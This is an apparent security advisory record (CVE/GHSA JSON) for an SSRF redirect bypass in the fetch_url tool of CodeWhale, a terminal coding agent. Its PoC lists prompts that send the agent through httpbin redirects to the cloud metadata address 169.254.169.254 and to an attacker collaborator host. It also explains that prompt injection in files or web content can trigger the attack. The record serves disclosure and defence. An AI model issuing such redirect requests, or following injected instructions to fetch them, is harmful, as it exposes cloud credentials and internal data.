{"id":"CVE-2026-45310","aliases":["CVE-2026-45310","GHSA-96ff-gc8g-wpvg"],"related":[],"kind":"vulnerability","state":"published","title":"CodeWhale: SSRF via HTTP Redirect Bypass in fetch_url Tool","summary":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"CodeWhale is a DeepSeek + MiMo coding agent in terminal. Prior to 0.8.22, the fetch_url tool validates the initial URL's resolved IP address against a restricted-IP blocklist (is_restricted_ip()) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (reqwest) is configured to automatically follow up to 5 redirects (reqwest::redirect::Policy::limited(5)) without re-validating the redirect target against the same SSRF protections. This vulnerability is fixed in 0.8.22.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `fetch_url` tool validates the initial URL's resolved IP address against a restricted-IP blocklist (`is_restricted_ip()`) to prevent SSRF attacks against internal services (cloud metadata endpoints, localhost, private networks). However, the HTTP client (`reqwest`) is configured to automatically follow up to 5 redirects (`reqwest::redirect::Policy::limited(5)`) without re-validating the redirect target against the same SSRF protections.\n\n### PoC\n**Step 1 — Baseline:** Confirm `fetch_url` blocks direct requests to restricted IPs.\n```\nPrompt: use fetch_url to fetch http://169.254.169.254/latest/meta-data/\nExpected: Error — \"restricted address (private/loopback/link-local)\"\n```\n\n**Step 2 — SSRF bypass via redirect:** Fetch a public URL that redirects to the restricted IP.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://169.254.169.254/latest/meta-data/&status_code=302\n```\n\n**Expected result:** The error message says \"connection refused\" or \"request failed: connect error\" — NOT \"restricted address.\" This proves the SSRF filter was bypassed; the connection failed only because `169.254.169.254` is unreachable from a non-cloud machine.\n\n**Observed result:** `fetch_url` followed the 302 redirect and attempted to connect to `169.254.169.254`. The error was a TCP-level connection failure, confirming the application-layer SSRF check was not applied to the redirect target.\n\n**Step 3 — Redirect to attacker-controlled host:** Confirm attacker-controlled redirect targets are followed.\n\n```\nPrompt: use fetch_url to fetch http://httpbin.org/redirect-to?url=http://[collaborator-domain]/ssrf-redirect-bypass&status_code=302\nExpected: Collaborator receives HTTP callback at /ssrf-redirect-bypass, confirming the redirect was followed.\n```\n\n### Impact\nOn cloud-hosted instances (AWS, GCP, Azure), an attacker can exfiltrate cloud IAM credentials, instance metadata, and other sensitive internal service data by redirecting `fetch_url` to `http://169.254.169.254/latest/meta-data/`. The attack is triggered via prompt injection (malicious instructions embedded in files or web content the model processes) that cause the model to call `fetch_url` with an attacker-controlled URL.","format":"markdown","source":"ghsa"},{"lang":"es","text":"CodeWhale es un agente de codificación DeepSeek + MiMo en terminal. Antes de 0.8.22, la herramienta fetch_url valida la dirección IP resuelta de la URL inicial contra una lista negra de direcciones IP restringidas (is_restricted_ip()) para prevenir ataques SSRF contra servicios internos (puntos finales de metadatos en la nube, localhost, redes privadas). Sin embargo, el cliente HTTP (reqwest) está configurado para seguir automáticamente hasta 5 redirecciones (reqwest::redirect::Policy::limited(5)) sin revalidar el objetivo de la redirección contra las mismas protecciones SSRF. Esta vulnerabilidad está corregida en 0.8.22.","source":"nvd"}],"published":"2026-05-14T20:29:26.000Z","modified":"2026-10-25T23:10:00.167Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"rating":"HIGH"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"rating":"HIGH"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","score":7.4,"rating":"HIGH"}],"cwes":["CWE-918"],"affected":[{"ranges":[{"version":"< 0.8.22","status":"affected"}],"vendor":"Hmbown","product":"CodeWhale","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.22"}],"ecosystem":"crates.io","package":"deepseek-tui","purl":"pkg:cargo/deepseek-tui","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.22"}],"ecosystem":"crates.io","package":"deepseek-tui-cli","purl":"pkg:cargo/deepseek-tui-cli","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"0.8.22"}],"ecosystem":"npm","package":"deepseek-tui","purl":"pkg:npm/deepseek-tui","source":"ghsa"}],"references":[{"url":"https://github.com/Hmbown/CodeWhale/security/advisories/GHSA-96ff-gc8g-wpvg","tags":["exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI/releases/tag/v0.8.22","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI/security/advisories/GHSA-96ff-gc8g-wpvg","tags":["web"],"sources":["ghsa"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45310","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/Hmbown/DeepSeek-TUI","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-30T02:08:49.211Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-45310","url":"https://www.cve.org/CVERecord?id=CVE-2026-45310","licence":"CVE Terms of Use","modified":"2026-05-30T02:09:17.696Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-96ff-gc8g-wpvg","url":"https://github.com/advisories/GHSA-96ff-gc8g-wpvg","licence":"CC-BY-4.0","modified":"2026-06-09T10:30:15.939Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-45310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-45310","licence":"Public domain","modified":"2026-10-25T23:10:00.167Z"}],"updatedAt":"2026-11-25T22:59:22.989Z","epss":{"score":0.00279,"percentile":0.21907,"date":"2026-12-01T12:00:22.000Z"}}